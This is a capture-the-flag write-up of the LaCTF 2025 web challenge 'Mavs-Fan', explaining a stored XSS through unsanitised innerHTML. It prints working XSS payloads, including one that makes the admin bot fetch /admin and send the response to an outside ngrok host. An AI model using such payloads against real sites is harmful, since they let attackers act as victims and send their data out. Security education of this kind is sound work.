Contents

🌐 Mavs-Fan

A detailed write-up of the Web challenge 'Mavs-Fan' from LaCTF - 2025

/images/LaCTF-2025/Mavs-Fan/challenge_presentation.png
Challenge Presentation

📊 Challenge Overview

Category Details Additional Info
🏆 Event LaCTF - 2025 Event Link
🔰 Category Web 🌐
💎 Points 500 Out of 500 total
⭐ Difficulty 🟢 Easy Personal Rating: 3/10
👤 Author stewie Profile
🎮 Solves (At the time of flag submission) 296 solve rate
📅 Date 09-02-2025 LaCTF - 2025
🦾 Solved By mH4ck3r0n3 Team: QnQSec

📝 Challenge Information

Just a Mavs fan trying to figure out what Nico Harrison cooking up for my team nowadays…
Hint - You can send a link to your post that the admin bot will visit. Note that the admin cookie is HttpOnly!
Site - mavs-fan.chall.lac.tf
Admin Bot - https://admin-bot.lac.tf/mavs-fan

🎯 Challenge Files & Infrastructure

Provided Files

Files:

🔍 Initial Analysis

First Steps

Initially, the website appears as follows:

/images/LaCTF-2025/Mavs-Fan/site_presentation.png
Site Presentation

It is most likely an XSS since we were provided with an admin bot to make requests to pages with the injected payload. However, this is not a standard XSS challenge. In fact, the description specifies that the cookie format is HttpOnly, meaning they cannot be extracted using a JavaScript script. By analyzing the attached files, I found several api endpoints and discovered that the injection is possible due to the following line found in the post.html file:

1
document.getElementById('post-content').innerHTML = post.message;

When the post page is visited, the innerHTML is used to insert the content of the post directly into the page. The use of innerHTML without sanitization allows for the execution of arbitrary JavaScript code if post.message contains an XSS payload. This is also possible because, on the server side, the following code exists:

1
2
3
4
app.post('/api/post', (req, res) => {
   const { message } = req.body;
   posts.set(newId, { message: message, published: false }); 
});

The server stores the user message without validating/sanitizing its content. A user can insert malicious HTML/JavaScript. The challenge’s goal was to access /admin to retrieve the flag. However, to do this, we need the admin’s cookies, but as previously mentioned, they are set to HttpOnly, so they cannot be extracted using JavaScript. Let’s move on to the exploitation.

🔬 Vulnerability Analysis

Potential Vulnerabilities

  • XSS (Cross-Site Scripting)

🎯 Solution Path

Exploitation Steps

Initial setup

The first phase of the exploit involves performing an injection. Initially, I tried inserting a <script> tag, but it didn’t work because the content was dynamically placed inside a <div>, and the script wasn’t executed due to the use of innerHTML. So, I opted for this solution:

1
<img src=x onerror="alert(1)">

Successfully performing the injection, I then started the ngrok server to redirect the requests to my endpoint:

1
ngrok 8080

Exploitation

Once the setup was complete, I moved on to the actual exploitation. Even with a fetch request to my ngrok server, passing a parameter, the cookies remained inaccessible due to their HttpOnly attribute.

1
<img src=x onerror="fetch('https://ngrok_link?flag='+document.cookie)">

We couldn’t extract them due to the HttpOnly attribute. However, by reading through the attached files, I found a route /admin:

1
2
3
4
5
6
7
app.get('/admin', (req, res) => {

    if (!req.cookies.secret || req.cookies.secret !== ADMIN_SECRET) {
        return res.redirect("/");
    }
    return res.json({ trade_plan: FLAG });
});

This is where we need to access to get the flag. As we can see, without the cookies set with the admin secret, we can’t access this route. And since we can’t steal the cookies due to the HttpOnly attribute, I decided to send the admin bot itself to retrieve the flag for me. All of this was achieved with the following payload:

1
2
3
<img src=x onerror="fetch('/admin')
.then(r => r.redirected ? r.text() : r.text())
.then(d => fetch('https://5559-2-37-167-108.ngrok-free.app?flag=' + encodeURIComponent(d)))">

/images/LaCTF-2025/Mavs-Fan/injection.png
Injection

Injecting this payload into the page will cause the admin bot to make a request to the /admin route. In case of a redirect, it will follow it and extract the response text from the request made to the /admin route. Then, it will send the extracted content to my ngrok server through the flag= parameter:

/images/LaCTF-2025/Mavs-Fan/injected_post.png
Injected Post

As we can see, the injection worked, and by checking the ngrok web interface, I received the request with the response text associated with the request made to the /admin page. Now, all that’s left is to send the link of the post created with the injection inside to the admin bot:

/images/LaCTF-2025/Mavs-Fan/admin_report.png
Admin Bot Visit

Once sent, by checking the ngrok web interface, I captured the flag.

Flag capture

/images/LaCTF-2025/Mavs-Fan/manual_flag.png
Manual Flag

🛠️ Exploitation Process

Approach

🚩 Flag Capture

Flag

Proof of Execution

/images/LaCTF-2025/Mavs-Fan/automated_flag.png
Automated Flag
Screenshot of successful exploitation

🔧 Tools Used

Tool Purpose
Python Exploit
Ngrok Forwarding

💡 Key Learnings

New Knowledge

If the cookie is set to HttpOnly, you can direct the admin bot to the page with the resources you’re interested in via a fetch, and extract the response text from this request, sending it to your web server.

Time Optimization

When there’s an admin bot, it’s almost always an XSS vulnerability.

Skills Improved

  • Binary Exploitation
  • Reverse Engineering
  • Web Exploitation
  • Cryptography
  • Forensics
  • OSINT
  • Miscellaneous

📊 Final Statistics

Metric Value Notes
Time to Solve 00:30 From start to flag
Global Ranking (At the time of flag submission) 50/925 Challenge ranking
Points Earned 500 Team contribution

Created: 09-02-2025 • Last Modified: 09-02-2025 Author: mH4ck3r0n3 • Team: QnQSec